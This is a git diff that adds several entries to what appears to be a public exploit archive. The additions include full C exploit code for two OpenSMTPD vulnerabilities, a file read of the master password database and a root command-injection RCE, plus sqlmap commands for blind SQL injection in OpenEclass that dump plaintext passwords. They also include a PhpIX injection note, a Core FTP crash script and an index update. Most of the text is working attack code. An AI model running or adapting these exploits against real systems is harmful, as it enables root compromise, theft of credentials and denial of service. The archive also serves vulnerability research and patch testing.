diff --git a/exploits/linux/remote/48139.c b/exploits/linux/remote/48139.c new file mode 100644 index 000000000..2bcca9bf4 --- /dev/null +++ b/exploits/linux/remote/48139.c @@ -0,0 +1,573 @@ +# Title: OpenSMTPD 6.6.3 - Arbitrary File Read +# Date: 2020-02-20 +# Author: qualys +# Vendor: https://www.opensmtpd.org/ +# CVE: 2020-8793 + +/* + * Local information disclosure in OpenSMTPD (CVE-2020-8793) + * Copyright (C) 2020 Qualys, Inc. + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define P_SUSPSIG 0x08000000 /* Stopped from signal. */ + +#define PATH_SPOOL "/var/spool/smtpd" +#define PATH_OFFLINE "/offline" +#define OFFLINE_QUEUEMAX 5 + +#define die() do { \ + printf("died in %s: %u\n", __func__, __LINE__); \ + exit(EXIT_FAILURE); \ +} while (0) + +static const char * const * +create_files(const size_t n_files) +{ + size_t f; + for (f = 0; f < n_files; f++) { + char file[] = PATH_SPOOL PATH_OFFLINE "/0.XXXXXXXXXX"; + const int fd = mkstemp(file); + if (fd <= -1) die(); + + if (file[sizeof(file)-1] != '\0') die(); + file[sizeof(file)-1] = '\n'; + if (write(fd, file, sizeof(file)) != (ssize_t)sizeof(file)) die(); + if (close(fd) != 0) die(); + } + + const char ** const files = calloc(n_files, sizeof(char *)); + if (files == NULL) die(); + + char * const paths[] = { PATH_SPOOL PATH_OFFLINE, NULL }; + FTS * const fts = fts_open(paths, FTS_PHYSICAL | FTS_NOCHDIR, NULL); + if (fts == NULL) die(); + + for (f = 0; ; ) { + const FTSENT * const ent = fts_read(fts); + if (ent == NULL) break; + if (ent->fts_name[0] != '0') continue; + if (ent->fts_name[1] != '.') continue; + + if (ent->fts_info != FTS_F) die(); + if (ent->fts_level != 1) die(); + if (ent->fts_statp->st_gid != ent->fts_parent->fts_statp->st_gid) die(); + if (ent->fts_statp->st_size <= 0) die(); + + const char * const file = strdup(ent->fts_path); + if (file == NULL) die(); + if (f >= n_files) die(); + files[f++] = file; + } + if (f != n_files) die(); + if (fts_close(fts) != 0) die(); + + if (truncate(files[n_files - 1], 0) != 0) die(); + return files; +} + +static void +wait_sentinel(const char * const * const files, const size_t n_files) +{ + for (;;) { + struct stat sb; + if (lstat(files[n_files - 1], &sb) != 0) { + if (errno != ENOENT) die(); + return; + } + if (!S_ISREG(sb.st_mode)) die(); + if (sb.st_size != 0) die(); + } + die(); +} + +static void +kill_wait(const pid_t pid) +{ + if (kill(pid, SIGKILL) != 0) die(); + + int status = 0; + if (waitpid(pid, &status, 0) != pid) die(); + if (!WIFSIGNALED(status)) die(); + if (WTERMSIG(status) != SIGKILL) die(); +} + +typedef struct { + int stop; + pid_t pid; + int fd; +} t_stopper; + +static t_stopper +fork_stopper(const uid_t uid) +{ + const int stop = (uid == getuid()); + + int fds[2]; + if (pipe(fds) != 0) die(); + const pid_t pid = fork(); + if (pid <= -1) die(); + + const int fd = fds[!pid]; + if (close(fds[!!pid]) != 0) die(); + + if (pid != 0) { + const t_stopper stopper = { .stop = stop, .pid = pid, .fd = fd }; + return stopper; + } + + int proc_mib[] = { CTL_KERN, KERN_PROC, KERN_PROC_RUID, uid, sizeof(struct kinfo_proc), 0 }; + size_t proc_len = 0; + if (sysctl(proc_mib, 6, NULL, &proc_len, NULL, 0) == -1) die(); + if (proc_len <= 0) proc_len = sizeof(struct kinfo_proc); + if (proc_len > ((size_t)1 << 20)) die(); + + const size_t proc_max = 0x10 * proc_len; + void * const proc_buf = malloc(proc_max); + if (proc_buf == NULL) die(); + if (proc_mib[5] != 0) die(); + proc_mib[5] = proc_max / sizeof(struct kinfo_proc); + + for (;;) { + proc_len = proc_max; + if (sysctl(proc_mib, 6, proc_buf, &proc_len, NULL, 0) == -1) die(); + if (proc_len <= 0) { + if (stop) die(); + continue; + } + if (proc_len >= proc_max) die(); + + const struct kinfo_proc * kp; + if (proc_len % sizeof(*kp) != 0) die(); + for (kp = proc_buf; kp != proc_buf + proc_len; kp++) { + if (*(const uint64_t *)kp->p_comm != *(const uint64_t *)"smtpctl") continue; + if (kp->p_flag & P_SUSPSIG) continue; + + const pid_t pid = kp->p_pid; + if (stop && kill(pid, SIGSTOP) != 0) continue; + + const int argv_mib[] = { CTL_KERN, KERN_PROC_ARGS, pid, KERN_PROC_ARGV }; + static char argv_buf[ARG_MAX]; + size_t argv_len = sizeof(argv_buf); + if (sysctl(argv_mib, 4, argv_buf, &argv_len, NULL, 0) == -1) { + continue; + } + if (argv_len <= sizeof(char *)) { + if (stop) die(); + continue; + } + if (argv_len >= sizeof(argv_buf)) die(); + + const char * const * const av = (const void *)argv_buf; + size_t ac; + for (ac = 0; av[ac] != NULL; ac++) { + switch (ac) { + case 0: + if (strcmp(av[ac], "sendmail") != 0) die(); + continue; + case 1: + if (strcmp(av[ac], "-S") != 0) die(); + continue; + case 2: + if (stop) { + if (strncmp(av[ac], PATH_SPOOL PATH_OFFLINE, + sizeof(PATH_SPOOL PATH_OFFLINE)-1) != 0) die(); + static const char ** stopped; + static size_t i_stopped, n_stopped; + + size_t i; + for (i = 0; i < i_stopped; i++) { + if (strcmp(av[ac], stopped[i]) == 0) break; + } + if (i < i_stopped) break; + if (i != i_stopped) die(); + + if (i_stopped >= n_stopped) { + if (i_stopped != n_stopped) die(); + if (n_stopped > ((size_t)1 << 20)) die(); + n_stopped += ((size_t)1 << 10); + stopped = reallocarray(stopped, n_stopped, sizeof(*stopped)); + if (stopped == NULL) die(); + } + if (i_stopped >= n_stopped) die(); + stopped[i_stopped] = strdup(av[ac]); + if (stopped[i_stopped] == NULL) die(); + i_stopped++; + } + const size_t len = strlen(av[ac]) + 1; + if (write(fd, &pid, sizeof(pid)) != (ssize_t)sizeof(pid)) die(); + if (write(fd, av[ac], len) != (ssize_t)len) die(); + break; + default: + die(); + } + break; + } + } + } + die(); +} + +static void +kill_stopper(const t_stopper stopper) +{ + kill_wait(stopper.pid); + if (close(stopper.fd) != 0) die(); +} + +typedef struct { + int kill; + pid_t pid; + char * args; +} t_stopped; + +static t_stopped +wait_stopped(const t_stopper stopper) +{ + pid_t pid = 0; + if (read(stopper.fd, &pid, sizeof(pid)) != (ssize_t)sizeof(pid)) die(); + if (pid <= 0) die(); + + static char buf[ARG_MAX]; + size_t len = 0; + for (;;) { + if (len >= sizeof(buf)) die(); + const ssize_t nbr = read(stopper.fd, buf + len, 1); + if (nbr <= 0) die(); + len += nbr; + if (buf[len - 1] == '\0') break; + } + if (len <= 0) die(); + if (memchr(buf, '\0', len) != buf + len - 1) die(); + + char * const args = strdup(buf); + if (args == NULL) die(); + const t_stopped stopped = { .kill = stopper.stop, .pid = pid, .args = args }; + return stopped; +} + +static void +kill_free_stopped(const t_stopped stopped) +{ + if (stopped.kill && kill(stopped.pid, SIGKILL) != 0) die(); + free(stopped.args); +} + +static void +make_stopper_file(const char * const file) +{ + const off_t file_size = (off_t)1 << 30; + const off_t line_size = (off_t)1 << 20; + + struct stat sb; + if (lstat(file, &sb) != 0) die(); + if (!S_ISREG(sb.st_mode)) die(); + if (sb.st_size <= 0) die(); + if (sb.st_size >= line_size) { + if (sb.st_size > file_size) return; + die(); + } + + const int fd = open(file, O_WRONLY | O_NOFOLLOW, 0); + if (fd <= -1) die(); + off_t l; + for (l = 1; l <= file_size / line_size; l++) { + if (lseek(fd, line_size, SEEK_END) <= l * line_size) die(); + if (write(fd, "\n", 1) != 1) die(); + } + if (close(fd) != 0) die(); +} + +static size_t +find_stopped_file(const char * const * const files, const size_t n_files, + const t_stopped stopped) +{ + size_t f; + for (f = 0; f < n_files; f++) { + if (strcmp(files[f], stopped.args) == 0) { + if (f >= n_files - 1) die(); + return f; + } + } + die(); +} + +static void +disclose_masterpasswd(const size_t n_files) +{ + if (getuid() == 0) die(); + const char * const * const files = create_files(n_files); + size_t i; + for (i = 0; i < n_files - 1; i++) { + make_stopper_file(files[i]); + } + + t_stopped queue_stopped[OFFLINE_QUEUEMAX]; + size_t t = 0; + size_t q; + const t_stopper queue_stopper = fork_stopper(getuid()); + puts("ready"); + + for (q = 0; q < OFFLINE_QUEUEMAX; q++) { + queue_stopped[q] = wait_stopped(queue_stopper); + const size_t f = find_stopped_file(files, n_files, queue_stopped[q]); + printf("%zu (%zu)\n", f, q); + if (f >= t) t = f + 1; + } + kill_stopper(queue_stopper); + if (t < OFFLINE_QUEUEMAX) die(); + if (t >= n_files - 1) die(); + + wait_sentinel(files, n_files); + + for (i = 0; i < n_files - 1; i++) { + if (unlink(files[i]) != 0) die(); + if (i < t) continue; + if (link(_PATH_MASTERPASSWD, files[i]) != 0) die(); + + const pid_t pid = fork(); + if (pid <= -1) die(); + if (pid == 0) { + char * const argv[] = { "/usr/bin/chpass", NULL }; + char * const envp[] = { "EDITOR=echo '#' >>", NULL }; + execve(argv[0], argv, envp); + die(); + } + + int status = 0; + if (waitpid(pid, &status, 0) != pid) die(); + if (!WIFEXITED(status)) die(); + if (WEXITSTATUS(status) != 0) die(); + + struct stat sb; + if (lstat(files[i], &sb) != 0) die(); + if (!S_ISREG(sb.st_mode)) die(); + if (sb.st_nlink != 1) die(); + if (sb.st_uid != 0) die(); + } + + const t_stopper target_dumper = fork_stopper(0); + for (q = 0; q < OFFLINE_QUEUEMAX; q++) { + kill_free_stopped(queue_stopped[q]); + } + const t_stopped target_dump = wait_stopped(target_dumper); + puts(target_dump.args); + kill_free_stopped(target_dump); + kill_stopper(target_dumper); + + for (i = t; i < n_files - 1; i++) { + if (unlink(files[i]) != 0) die(); + } + exit(EXIT_SUCCESS); +} + +static void +make_stopper_files(const char * const * const files, const size_t n_files, + const size_t begin_stoppers, const size_t n_stoppers) +{ + if (begin_stoppers >= n_files) die(); + if (n_stoppers > OFFLINE_QUEUEMAX) die(); + + const size_t end_stoppers = begin_stoppers + 3 * n_stoppers; + if (end_stoppers >= n_files) die(); + + size_t f; + for (f = begin_stoppers; f < end_stoppers; f++) { + make_stopper_file(files[f]); + } +} + +typedef struct { + pid_t pid; + int fd; +} t_swapper; + +static t_swapper +fork_swapper(const char * const target, const char * const file) +{ + struct stat sb; + if (lstat(target, &sb) != 0) die(); + if (!S_ISREG(sb.st_mode)) die(); + if (sb.st_nlink != 1) die(); + + int fds[2]; + if (pipe(fds) != 0) die(); + const pid_t pid = fork(); + if (pid <= -1) die(); + + const int fd = fds[!pid]; + if (close(fds[!!pid]) != 0) die(); + + if (pid != 0) { + const t_swapper swapper = { .pid = pid, .fd = fd }; + return swapper; + } + + if (unlink(file) != 0) die(); + if (write(fd, "A", 1) != 1) die(); + + for (;;) { + if (link(target, file) != 0) die(); + if (unlink(file) != 0) die(); + } + die(); +} + +static void +wait_swapper(const t_swapper swapper) +{ + char buf[] = "whatever"; + if (read(swapper.fd, buf, sizeof(buf)) != 1) die(); + if (buf[0] != 'A') die(); +} + +static void +kill_swapper(const t_swapper swapper) +{ + kill_wait(swapper.pid); + if (close(swapper.fd) != 0) die(); +} + +static void +disclose_deadletter(const size_t n_files, const char * const target) +{ + struct stat target_sb; + if (target[0] != '/') die(); + if (lstat(target, &target_sb) != 0) die(); + if (!S_ISREG(target_sb.st_mode)) die(); + if (target_sb.st_nlink != 1) die(); + + const uid_t target_uid = target_sb.st_uid; + if (target_uid == getuid()) die(); + const struct passwd * const target_pw = getpwuid(target_uid); + if (target_pw == NULL) die(); + + static char deadletter[PATH_MAX]; + snprintf(deadletter, sizeof(deadletter), "%s/dead.letter", target_pw->pw_dir); + struct stat deadletter_sb; + if (lstat(deadletter, &deadletter_sb) != 0) { + if (errno != ENOENT) die(); + memset(&deadletter_sb, 0, sizeof(deadletter_sb)); + } + + const char * const * const files = create_files(n_files); + make_stopper_files(files, n_files, 0, OFFLINE_QUEUEMAX); + const t_stopper queue_stopper = fork_stopper(getuid()); + puts("ready"); + + t_stopped queue_stopped[OFFLINE_QUEUEMAX]; + size_t t = 0; + size_t q; + for (q = 0; q < OFFLINE_QUEUEMAX; q++) { + queue_stopped[q] = wait_stopped(queue_stopper); + const size_t f = find_stopped_file(files, n_files, queue_stopped[q]); + printf("%zu (%zu)\n", f, q); + if (f >= t) t = f + 1; + } + if (t < OFFLINE_QUEUEMAX) die(); + if (t >= n_files - 1) die(); + + size_t i; + for (i = 0; i < t; i++) { + if (unlink(files[i]) != 0) die(); + } + + wait_sentinel(files, n_files); + const t_stopper target_dumper = fork_stopper(target_uid); + + for (;;) { + make_stopper_files(files, n_files, t + 1, 1); + const t_swapper swapper = fork_swapper(target, files[t]); + wait_swapper(swapper); + kill_free_stopped(queue_stopped[0]); + queue_stopped[0] = wait_stopped(queue_stopper); + kill_swapper(swapper); + + const size_t f = find_stopped_file(files, n_files, queue_stopped[0]); + printf("%zu\n", f); + if (f <= t) die(); + for (i = t; i <= f; i++) { + if (unlink(files[i]) != 0) { + if (errno != ENOENT) die(); + if (i != t) die(); + } + } + t = f + 1; + + struct stat sb; + if (lstat(deadletter, &sb) != 0) { + if (errno != ENOENT) die(); + memset(&sb, 0, sizeof(sb)); + } + if (memcmp(&sb, &deadletter_sb, sizeof(sb)) != 0) break; + } + kill_stopper(queue_stopper); + + const t_stopped target_dump = wait_stopped(target_dumper); + puts(target_dump.args); + kill_free_stopped(target_dump); + kill_stopper(target_dumper); + + for (i = t; i < n_files - 1; i++) { + if (unlink(files[i]) != 0) die(); + } + for (q = 0; q < OFFLINE_QUEUEMAX; q++) { + kill_free_stopped(queue_stopped[q]); + } + + char * const argv[] = { "/bin/ls", "-l", deadletter, NULL }; + char * const envp[] = { NULL }; + execve(argv[0], argv, envp); + die(); +} + +int +main(const int argc, const char * const argv[]) +{ + setlinebuf(stdout); + puts("Local information disclosure in OpenSMTPD (CVE-2020-8793)"); + puts("Copyright (C) 2020 Qualys, Inc."); + + if (argc <= 1) die(); + const size_t n_files = strtoul(argv[1], NULL, 0); + if (n_files <= OFFLINE_QUEUEMAX) die(); + if (n_files > ((size_t)1 << 20)) die(); + + if (argc == 2) { + disclose_masterpasswd(n_files); + die(); + } + if (argc == 3) { + disclose_deadletter(n_files, argv[2]); + die(); + } + die(); +} \ No newline at end of file diff --git a/exploits/openbsd/remote/48140.c b/exploits/openbsd/remote/48140.c new file mode 100644 index 000000000..9ae0ba6d4 --- /dev/null +++ b/exploits/openbsd/remote/48140.c @@ -0,0 +1,426 @@ +/* + * LPE and RCE in OpenSMTPD's default install (CVE-2020-8794) + * Copyright (C) 2020 Qualys, Inc. + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +static enum { + CLIENT_SIDE_EXPLOIT, + SERVER_SIDE_EXPLOIT, +} exploit = CLIENT_SIDE_EXPLOIT; + +static enum { + NEW_SMTPD_GRAMMAR, + OLD_SMTPD_GRAMMAR, +} grammar = NEW_SMTPD_GRAMMAR; + +static struct { + const char * command; + const char * user; + const char * dispatcher; + const char * maildir; + char lines[512]; +} inject = { + .command = "X=`mktemp /tmp/x.XXXXXX`&&id>>$X;exit 0", + .user = "root", + .dispatcher = "local_mail", + .maildir = NULL, +}; + +#define die() do { \ + printf("died in %s: %u\n", __func__, __LINE__); \ + exit(EXIT_FAILURE); \ +} while (0) + +static struct addrinfo * +common_getaddrinfo(const char * const host, const char * const port) +{ + const struct addrinfo hints = { + .ai_family = AF_INET, + .ai_socktype = SOCK_STREAM, + .ai_protocol = IPPROTO_TCP, + .ai_flags = AI_NUMERICHOST | AI_NUMERICSERV, + }; + struct addrinfo * addr = NULL; + if (getaddrinfo(host, port, &hints, &addr) != 0) die(); + if (addr == NULL || addr->ai_next != NULL) die(); + return addr; +} + +static const char * +common_getnameinfo(const struct sockaddr * const addr, const socklen_t addr_len) +{ + static char host[NI_MAXHOST]; + static char port[NI_MAXSERV]; + if (getnameinfo(addr, addr_len, host, sizeof(host), port, sizeof(port), + NI_NUMERICHOST | NI_NUMERICSERV) != 0) die(); + + static char host_port[NI_MAXHOST + NI_MAXSERV]; + if (snprintf(host_port, sizeof(host_port), "%s:%s", host, port) <= 0) die(); + return host_port; +} + +static void +common_send(const int fd, const char * const format, va_list ap) +{ + if (fd <= -1) die(); + static char buf[1024]; + const int len = vsnprintf(buf, sizeof(buf), format, ap); + if (len <= 0 || (unsigned)len >= sizeof(buf)) die(); + printf("--> %s%s", buf, buf[len-1] != '\n' ? "\n" : ""); + + const char * data = buf; + size_t size = len; + + for (;;) { + const ssize_t sent = send(fd, data, size, MSG_NOSIGNAL); + if (sent <= 0) die(); + if ((size_t)sent > size) die(); + data += sent; + size -= sent; + if (size <= 0) return; + } + die(); +} + +static int listen_fd = -1; + +static void +server_listen(void) +{ + if (listen_fd != -1) die(); + const struct addrinfo * const addr = common_getaddrinfo("0.0.0.0", "25"); + listen_fd = socket(addr->ai_family, addr->ai_socktype, addr->ai_protocol); + if (listen_fd <= -1) die(); + + const int on = 1; + if (setsockopt(listen_fd, SOL_SOCKET, SO_REUSEADDR, &on, sizeof(on)) != 0) die(); + if (bind(listen_fd, addr->ai_addr, addr->ai_addrlen) != 0) die(); + if (listen(listen_fd, 10) != 0) die(); + + printf("\nListening on %s\n", + common_getnameinfo(addr->ai_addr, addr->ai_addrlen)); +} + +static int server_fd = -1; + +static void +server_accept(void) +{ + struct sockaddr addr; + socklen_t addr_len = sizeof(addr); + + if (listen_fd <= -1) die(); + if (server_fd != -1) die(); + server_fd = accept(listen_fd, &addr, &addr_len); + if (server_fd <= -1) die(); + if (addr_len > sizeof(addr)) die(); + + const time_t now = time(NULL); + printf("\nConnection from %s\n%s", + common_getnameinfo(&addr, addr_len), ctime(&now)); + + const int on = 1; + if (setsockopt(server_fd, IPPROTO_TCP, TCP_NODELAY, &on, sizeof(on)) != 0) die(); +} + +static void +server_send(const char * const format, ...) +{ + if (server_fd <= -1) die(); + + va_list ap; + va_start(ap, format); + common_send(server_fd, format, ap); + va_end(ap); +} + +static char server_command[1024]; + +static void +server_recv(const char * const prefix) +{ + if (server_fd <= -1) die(); + const size_t prefix_len = strlen(prefix); + if (prefix_len < 4) die(); + + char * data = server_command; + size_t size = sizeof(server_command); + + for (;;) { + const ssize_t rcvd = recv(server_fd, data, size, 0); + if (rcvd <= 0) die(); + if ((size_t)rcvd >= size) die(); + data += rcvd; + size -= rcvd; + data[0] = '\0'; + if (data[-1] != '\n') continue; + if (strchr(server_command, '\n') != data - 1) die(); + + printf("<-- %s", server_command); + if (strncmp(server_command, prefix, prefix_len) != 0) die(); + return; + } + die(); +} + +static void +server_close(void) +{ + if (server_fd <= -1) die(); + if (close(server_fd) != 0) die(); + server_fd = -1; +} + +static void +server_session(const char * const inject_lines) +{ + const char * const error_code = + (exploit == SERVER_SIDE_EXPLOIT) ? "421" : "553"; + + server_accept(); + server_send("220 ent.of.line ESMTP\n"); + + server_recv("EHLO "); + server_send("250 ent.of.line Hello\n"); + + server_recv("MAIL FROM:<"); + if ((strncmp(server_command, "MAIL FROM:<>", 12) == 0) != + (exploit == SERVER_SIDE_EXPLOIT)) die(); + + if (inject_lines != NULL) { + if (inject_lines[0] == '\0') die(); + if (inject_lines[0] == '\n') die(); + if (inject_lines[strlen(inject_lines)-1] == '\n') die(); + + server_send("%s-Error\n", error_code); + server_send("%s\n\n%s%c", error_code, inject_lines, (int)'\0'); + + } else { + server_send("%s Error\n", error_code); + + server_recv("RSET"); + server_send("250 Reset\n"); + + server_recv("QUIT"); + server_send("221 Bye\n"); + } + server_close(); +} + +static const struct addrinfo * client_target = NULL; +static const char * client_mail = NULL; +static const char * client_rcpt = NULL; + +static int client_fd = -1; + +static void +client_connect(void) +{ + if (client_fd != -1) die(); + client_fd = socket(client_target->ai_family, client_target->ai_socktype, + client_target->ai_protocol); + if (client_fd <= -1) die(); + + if (connect(client_fd, client_target->ai_addr, + client_target->ai_addrlen) != 0) die(); + + printf("\nConnected to %s\n", + common_getnameinfo(client_target->ai_addr, client_target->ai_addrlen)); +} + +static void +client_send(const char * const format, ...) +{ + if (client_fd <= -1) die(); + + va_list ap; + va_start(ap, format); + common_send(client_fd, format, ap); + va_end(ap); +} + +static char client_reply[1024]; + +static void +client_recv(const char * const prefix) +{ + if (client_fd <= -1) die(); + const size_t prefix_len = strlen(prefix); + if (prefix_len < 3) die(); + + char * data = client_reply; + size_t size = sizeof(client_reply); + const char * line = data; + + for (;;) { + const ssize_t rcvd = recv(client_fd, data, size, 0); + if (rcvd <= 0) die(); + if ((size_t)rcvd >= size) die(); + data += rcvd; + size -= rcvd; + data[0] = '\0'; + if (data[-1] != '\n') continue; + + for (;;) { + const char * const new_line = strchr(line, '\n'); + if (new_line == NULL) break; + if (new_line - line < 4) die(); + printf("<-- %.*s", (int)(new_line - line + 1), line); + if (strncmp(line, prefix, prefix_len) != 0) die(); + + if (line[3] == ' ') { + if (new_line + 1 != data) die(); + return; + } + if (line[3] != '-') die(); + line = new_line + 1; + } + if (line != data) die(); + } + die(); +} + +static void +client_close(void) +{ + if (client_fd <= -1) die(); + if (close(client_fd) != 0) die(); + client_fd = -1; +} + +static void +client_session(void) +{ + client_connect(); + client_recv("220 "); + + client_send("HELP\n"); + client_recv("214"); + if (strstr(client_reply, "please contact bugs@openbsd.org") == NULL) die(); + + client_send("EHLO ent.of.line\n"); + client_recv("250"); + const int dsn = (strstr(client_reply, "250-DSN") != NULL); + + client_send("MAIL FROM:<%s>\n", client_mail); + client_recv("250 "); + + client_send("RCPT TO:<%s>%s\n", client_rcpt, dsn ? " NOTIFY=SUCCESS" : ""); + client_recv("250 "); + + client_send("DATA\n"); + client_recv("354 Enter mail, end with "); + + if (!dsn) { + client_send("Delivered-To: %s\n", client_rcpt); + } + client_send("\n"); + client_send(".\n"); + client_recv("250 "); + + client_send("QUIT\n"); + client_recv("221 "); + client_close(); +} + +int +main(int argc, char * const * argv) +{ + setlinebuf(stdout); + puts("LPE and RCE in OpenSMTPD's default install (CVE-2020-8794)"); + puts("Copyright (C) 2020 Qualys, Inc."); + + int opt; + while ((opt = getopt(argc, argv, "c:u:d:m:n")) != -1) { + switch (opt) { + case 'c': + inject.command = optarg; + break; + case 'u': + grammar = OLD_SMTPD_GRAMMAR; + inject.user = optarg; + break; + case 'd': + inject.dispatcher = optarg; + break; + case 'm': + grammar = OLD_SMTPD_GRAMMAR; + inject.maildir = optarg; + break; + case 'n': + grammar = NEW_SMTPD_GRAMMAR; + break; + default: + die(); + } + } + + if (grammar == NEW_SMTPD_GRAMMAR) { + const int len = snprintf(inject.lines, sizeof(inject.lines), + "type:mda\nmda-exec:%s\ndispatcher:%s\nmda-user:%s", + inject.command, inject.dispatcher, inject.user); + if (len <= 0 || (unsigned)len >= sizeof(inject.lines)) die(); + + } else if (grammar == OLD_SMTPD_GRAMMAR) { + const int len = snprintf(inject.lines, sizeof(inject.lines), + "type:mda\nmda-buffer:%s\nmda-method:%s\nmda-user:%s\nmda-usertable:", + inject.maildir ? inject.maildir : inject.command, + inject.maildir ? "maildir" : "mda", inject.user); + if (len <= 0 || (unsigned)len >= sizeof(inject.lines)) die(); + + } else die(); + + argc -= optind; + argv += optind; + + if (argc == 3) { + exploit = SERVER_SIDE_EXPLOIT; + client_target = common_getaddrinfo(argv[0], "25"); + client_mail = argv[1]; + client_rcpt = argv[2]; + + } else if (argc != 0) die(); + + server_listen(); + if (exploit == CLIENT_SIDE_EXPLOIT) { + server_session(inject.lines); + + } else if (exploit == SERVER_SIDE_EXPLOIT) { + client_session(); + unsigned try; + for (try = 0; try < 1; try++) { + server_session(NULL); + puts("\nPlease wait for OpenSMTPD to connect back..."); + } + server_session(inject.lines); + client_session(); + server_session("type:invalid"); + + } else die(); + exit(EXIT_SUCCESS); +} \ No newline at end of file diff --git a/exploits/php/webapps/48106.txt b/exploits/php/webapps/48106.txt new file mode 100644 index 000000000..d78d939d1 --- /dev/null +++ b/exploits/php/webapps/48106.txt @@ -0,0 +1,72 @@ +# Exploit Title: GUnet OpenEclass E-learning platform 1.7.3 - 'uname' SQL Injection +# Google Dork: intext:"© GUnet 2003-2007" +# Date: 2019-11-03 +# Exploit Author: emaragkos +# Vendor Homepage: https://www.openeclass.org/ +# Software Link: http://download.openeclass.org/files/1.7/eclass-1.7.3.tar.gz +# Version: 1.7.3 (2007) +# Tested on: Ubuntu 12 (Apache 2.2.22, PHP 5.3.10, MySQL 5.5.38) +# CVE : - +# GUnet OpenEclass <= 1.7.3 E-learning platform - Unauthenticated Blind SQL Injection + +You can confirm applications' version by visiting https://URL/info/about.php +Versions prior to 1.7.3 might also by vulnerable but were not tested. + +Source code: +http://download.openeclass.org/files/1.7/eclass-1.7.3.zip +http://download.openeclass.org/files/1.7/eclass-1.7.3.tar.gz + +Setup instructions: +http://download.openeclass.org/files/docs/1.7/Install.pdf + +Changelog: +https://download.openeclass.org/files/docs/1.7/CHANGES.txt + +Manual: +https://download.openeclass.org/files/docs/1.7/eClass.pdf + +############################################################################ + +Vulnerability: Post parameter (uname) is vulnerable to time-based blind SQLi + +############################################################################ + +Steps to reproduce: + +1) Visit vulnerable webapp and confirm version is <= 1.7.3 https://URL/info/about.php + +2) Configure Burp proxy to intecrept and to capture a login sequence with invalid username/password. (e.g. username:test password:test) +Your request should look like this: +POST / HTTP/1.1 +Host: 192.168.1.8 +User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 +Accept-Language: en-US,en;q=0.5 +Accept-Encoding: gzip, deflate +Referer: http://192.168.1.8/ +Content-Type: application/x-www-form-urlencoded +Content-Length: 49 +Connection: close +Cookie: PHPSESSID=d6gupmerbr0k84st4d7qv9jsl1 +Upgrade-Insecure-Requests: 1 +uname=test&pass=test&submit=%C5%DF%F3%EF%E4%EF%F2 + +3) Save intercepted request as a file (Right click -> Copy to file -> Save as eclasstestlogin) + +4) Load the file to SQLMap with the use of -r parameter +sqlmap -r eclasstestlogin --level=5 --risk=3 -v +SQLMap will find the following payload +--- +Parameter: uname (POST) + Type: time-based blind + Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) + Payload: uname=test' AND (SELECT 5551 FROM (SELECT(SLEEP(5)))IZsi)-- aLyD&pass=test&submit=%C5%DF%F3%EF%E4%EF%F2 + Vector: AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) +--- + +5) Exploit it! +sqlmap -r eclasstestlogin -v --current-db +sqlmap -r eclasstestlogin -v -D [DB-NAME-GOES-HERE] --dump +sqlmap -r eclasstestlogin -v -D [DB-NAME-GOES-HERE] -T user -C password --dump + +6) Bonus! Passwords are stored in plaintext \ No newline at end of file diff --git a/exploits/php/webapps/48138.txt b/exploits/php/webapps/48138.txt new file mode 100644 index 000000000..106e3ba70 --- /dev/null +++ b/exploits/php/webapps/48138.txt @@ -0,0 +1,21 @@ +# Title: PhpIX 2012 Professional - 'id' SQL Injection +# Date: 2020-02-26 +# Author: indoushka +# Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 69.0(32-bit) +# Vendor : http://www.allhandsmarketing.com/ + +# poc : + + +[+] Dorking İn Google Or Other Search Enggine. + +[+] /product_detail.php?id=448578 <====| inject here + +[+] http://www.pcollectionnecktie.com/sandbox/ <====| Login + + +Greetings to :========================================================================================================================= + | +jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * shadow_00715 * LiquidWorm* | + | +======================================================================================================================================= \ No newline at end of file diff --git a/exploits/windows/dos/48137.py b/exploits/windows/dos/48137.py new file mode 100755 index 000000000..8b2ad8e7f --- /dev/null +++ b/exploits/windows/dos/48137.py @@ -0,0 +1,32 @@ +# Exploit Title: Core FTP LE 2.2 - Denial of Service (PoC) +# Date: 2020-25-02 +# Exploit Author: Ismael Nava +# Vendor Homepage: http://www.coreftp.com/ +# Software Link: http://www.coreftp.com/download.html +# Version: 2.2 build 1947 +# Tested on: Windows 10 Home x64 +# CVE : n/a + +#STEPS +# Open the program Core FTP LE +# In File select the option Connect +# Click in the option Advanced from the fiel Host / IP / URL +# Run the python exploit script, it will create a new .txt files +# Copy the content of the file "Dog.txt" +# Paste the content in the field Account +# Click in OK +# After Core FTP lE closed, the program did not work again if the user try to +# open again, so it is necessary uninstall and install again +# End :) + + +buffer = 'R' * 20000 + +try: + file = open("Dog.txt","w") + file.write(buffer) + file.close() + + print("Archive ready") +except: + print("Archive no ready") \ No newline at end of file diff --git a/files_exploits.csv b/files_exploits.csv index 006e2dde2..7483e4409 100644 --- a/files_exploits.csv +++ b/files_exploits.csv @@ -6684,6 +6684,7 @@ id,file,description,date,author,type,platform,port 48132,exploits/windows/dos/48132.py,"SpotFTP-FTP Password Recover 2.4.8 - Denial of Service (PoC)",2020-02-25,"Ismael Nava",dos,windows, 48133,exploits/windows/dos/48133.py,"aSc TimeTables 2020.11.4 - Denial of Service (PoC)",2020-02-25,"Ismael Nava",dos,windows, 